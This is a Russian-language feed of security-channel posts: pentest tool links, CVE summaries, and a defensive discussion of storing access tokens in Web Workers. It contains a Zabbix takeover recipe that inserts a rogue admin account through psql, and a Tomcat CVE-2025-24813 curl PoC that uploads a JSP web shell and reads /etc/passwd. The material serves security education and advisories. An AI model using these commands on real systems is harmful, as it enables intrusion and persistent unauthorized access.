Fsecurity | HH

Ну это просто атас )))) CVE-2025-3155 - утечка ключей в ubuntu * Attack scenario

Decrypting Yandex Browser passwords Soft: https://github.com/Goodies365/YandexDecrypt @exited3n переписал на python: Soft: https://github.com/akhomlyuk/Ya_Decrypt P.S. Yandex Doc: https://yandex.com/support/browser-passwords-crypto/ru/with-master #creds #pentest #redteam #ad

И еще один хороший материал подъехал пол часа назад) В блоге рассматривается шифрование MSSQL Server и методы подбора ключей. https://specterops.io/blog/2025/04/08/the-sql-server-crypto-detour/ Что еще прикольное узнали из блога: ManageEngine ADSelfService по умолчанию использует ключ, который Microsoft показывает в качестве примера в своей справке😁 прикол конечно... #pentest #redteam #sql #ad

🔗Ссылка: https://habr.com/ru/articles/898956/

🔗Ссылка: https://www.securitylab.ru/news/558156.php

🔗Ссылка: https://www.securitylab.ru/news/558151.php?lang=ru

RemoteMonologue: Weaponizing DCOM for NTLM authentication coercions PoC: https://github.com/xforcered/RemoteMonologue Blog: https://www.ibm.com/think/x-force/remotemonologue-weaponizing-dcom-ntlm-authentication-coercions #pentest #redteam #ad #creds #lateral

Начал писать версию 0.4. Очень много нужно поменять в архитектуре экстендеров. А пока покажу вот такие прикольные расширения: иногда легче "попросить" у пользователя учетные данные, нежели откуда-то извлекать) P.S. pr на гите для расширений принимаются

🔗Ссылка: https://habr.com/ru/news/898682/

Discord сервер 👆🏻Тут можно пообщаться и найти много полезной информации 🦈

Выгоревший сотрудник SOC когда его попросили заняться еще одним "интересным кейсом" 🤬 #meme 🧢 s0ld13r

Всем привет! Обычно zabbix связан с базой PostgreSQL или MySQL. В некоторых случаях у вас может появиться возможность подключения к хосту, на котором эта самая база крутится. В таком случае вы сможете захватить весь Zabbix. Алгоритм прост: 1. Вам следует получить доступ к базе, которая связана с Zabbix. Например, если вы получили RCE на Linux-сервере и смогли, допустим, повыситься до root, то переключайте контекст на пользователя postgres и аутентифицируйтесь на базе через psql. По умолчанию ph_hba.conf пустит вас без аутентификации.

su postgres
psql

2. Затем подключайтесь к базе zabbix

psql> \c zabbix

3. Теперь вам можно создавать собственного суперадмин-пользователя. Отмечу, что в базах MySQL и Postgres синтаксис команды будет немного отличаться. Для корректности добавления проверяйте необходимые для заведения поля вот так:

select * from users;

После чего добавляем собственного админ-пользователя:

# Хеш bcrypt UNIX, база Postgres (pentest:pentest)

INSERT INTO users(userid, username, name, surname, passwd, url, autologin, autologout, lang, refresh, theme, attempt_failed, attempt_ip, attempt_clock, rows_per_page, timezone, roleid) VALUES (6, 'pentest', 'pentest', 'pentest', '$2a$10$dXwCQEKhvXk4tdRvt0Ra/OGUU0.LUc0f.q6i8u4yiejrO9qVNjT6u', '', 0, 0, 'default', '30s', 'default', 0, '', 0, 150, 'default', 3);

# Хеш md5, MariaDB

INSERT INTO users(userid, alias, name, surname, passwd, url, autologin, autologout, lang, refresh, type, attempt_failed, attempt_ip, attempt_clock, rows_per_page) VALUES (6, 'pentest', 'pentest', 'pentest', '46ea1712d4b13b55b3f680cc5b8b54e8', '', 0, 0, 'default', '30s', 'default', 0, '', 0, 150);

4. Логинимся в Zabbix через главную страницу

Представим ситуацию, у нас реализуется web-приложение с stateless сессиями — с использованием accessToken. Пользователь проходит аутентификацию, и backend-сервер выпускает accessToken и передает его клиенту. Классический вопрос: «Где хранить accessToken на клиенте?». Если JS-коду не нужно взаимодействовать с токеном, то единственным безопасным вариантом является хранение токена в Cookie с атрибутами HttpOnly, SameSite, Secure. Однако, как быть, если такая необходимость есть? Хранить токен в localStorage? 😏Чем плохо такое решение? Если хранить accessToken в localStorage, то при XSS у злоумышленника будет доступ к хранилищу браузера, и токен может быть украден. На практике мне встречалась реализация, где разработчики и рыбку съели и токен хранили в Cookie, и подставляли его в HTTP Header через JS. Как? Всё просто — они реализовали API, который возвращает в теле ответа все Cookie, которые передавались в HTTP запросе. JS-код брал токен из ответа и подставлял в HTTP заголовок Bearer для следующего запроса. По сути это обход защиты атрибута HttpOnly. 😏Чем плох этот вариант? Помимо XSS, при небезопасной конфигурации CORS, злоумышленник сможет получить токен жертвы из ответа сервера, заманив ее на подконтрольный ресурс. Существует еще одно решение — хранить токен в переменной JS и обернуть его в замыкание. Однако у злоумышленника останется возможность влиять на контекст выполнения. Поэтому, более безопасный метод - предотвратить вмешательство с помощью XSS в среду выполнения, которая имеет токен, достигая изоляции контекста. В веб-фронтенде это можно сделать с помощью Web Workers.

Web Workers это механизм, который позволяет скрипту выполняться в фоновом потоке, который отделен от основного потока веб-приложения.

Идея заключается в том, чтобы поместить все запросы API в рабочий поток. Благодаря изоляции среды выполнения, если в рабочем потоке нет XSS, основной поток не может вмешаться в рабочего и не может получить доступ к его данным. Это обеспечивает безопасность токена. Web Worker делится на три вида: • Dedicated workers: используется только одним скриптом • Shared workers: может использоваться несколькими скриптами в разных окнах/фреймах. • Service Workers: выполняет роль прокси-сервера для взаимодействия между веб-приложением, браузером и сетью. 🔍 В этой статье описывается пример использование Dedicated Worker и обоснование отказа от Service Worker. 🔍 В этой статье, напротив, используется Service Worker + описываются другие примеры использования «прослойки» между фронтом и беком. Например, в кейсе, который я описывал выше (с API, которая возвращает Cookie в ответе), можно было бы использовать прокси на бэке, отказавшись вовсе от работы JS-кода с токеном в браузере пользователя.

🔗Ссылка: https://www.securitylab.ru/news/558116.php

🔗Ссылка: https://habr.com/ru/companies/ru_mts/articles/898200/

🔗Ссылка: https://habr.com/ru/companies/ru_mts/articles/898266/

🔗Ссылка: https://habr.com/ru/companies/lure_it/articles/898366/

Discord сервер 👆🏻Тут можно пообщаться и найти много полезной информации 🦈

💣 pgAdmin RCE CVE-2025-2945 - Удалённое выполнение кода (RCE) в одном из самых популярных GUI-интерфейсов для PostgreSQL. Актуально для всех версий pgAdmin ≤ 9.1 🧠 Уязвимость кроется в eval() - опасной функции, интерпретирующей строки как исполняемый код. 🎯 Уязвимые endpoints:

/sqleditor/query_tool/download/<int:trans_id>

/cloud/deploy

📌 Условия эксплуатации: Нужна аутентификация POST-запросы к указанным маршрутам 📉 Потенциал: Полный захват сервера, выполнение произвольных команд, возможность lateral movement внутри инфраструктуры. 🔗 Подробнее: 👉 https://py0zz1.tistory.com/entry/Remote-Code-Execution-Vulnerability-in-pgAdmin-CVE-2025-2945 https://www.youtube.com/watch?v=V2WzCmRct7s

🔥 Path Equivalence в Apache Tomcat CVE-2025-24813 Критическая RCE-уязвимость из-за некорректной обработки ../ в PUT-запросах. 💥 Уязвимые версии: Tomcat 11.0.0-M1 – 11.0.2 Tomcat 10.1.0-M1 – 10.1.34 Tomcat 9.0.0.M1 – 9.0.98 📌 Исправлено в: 11.0.3, 10.1.35, 9.0.99 🧨 Эксплуатация возможна при включённой записи через default servlet (по умолчанию выключено) и использовании partial PUT (включено по умолчанию). 📦 PoC:

curl -X PUT "http://target.com/uploads/../webapps/ROOT/updates.jsp" \
  -H "Content-Type: application/x-jsp" \
  --data-raw '<%@ page import="java.io.*" %>
<html><body>
<form method="GET"><input type="text" name="cmd"><input type="submit" value="Run"></form>
<% if(request.getParameter("cmd") != null) {
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
String l; while((l=r.readLine())!=null){ out.println(l+"<br>"); } } %>
</body></html>' -i

📥 Доступ к вебшеллу:

curl "http://target.com/updates.jsp?cmd=cat/etc/passwd" -i

📚 Подробнее: 👉 https://github.com/advisories/GHSA-83qj-6fr2-vhqg ‼️ EPSS: 93.5% — высокая вероятность эксплуатации в реальных атаках. ⛔ Обновляйте Tomcat или блокируйте PUT на уровне веб-сервера, если не используется.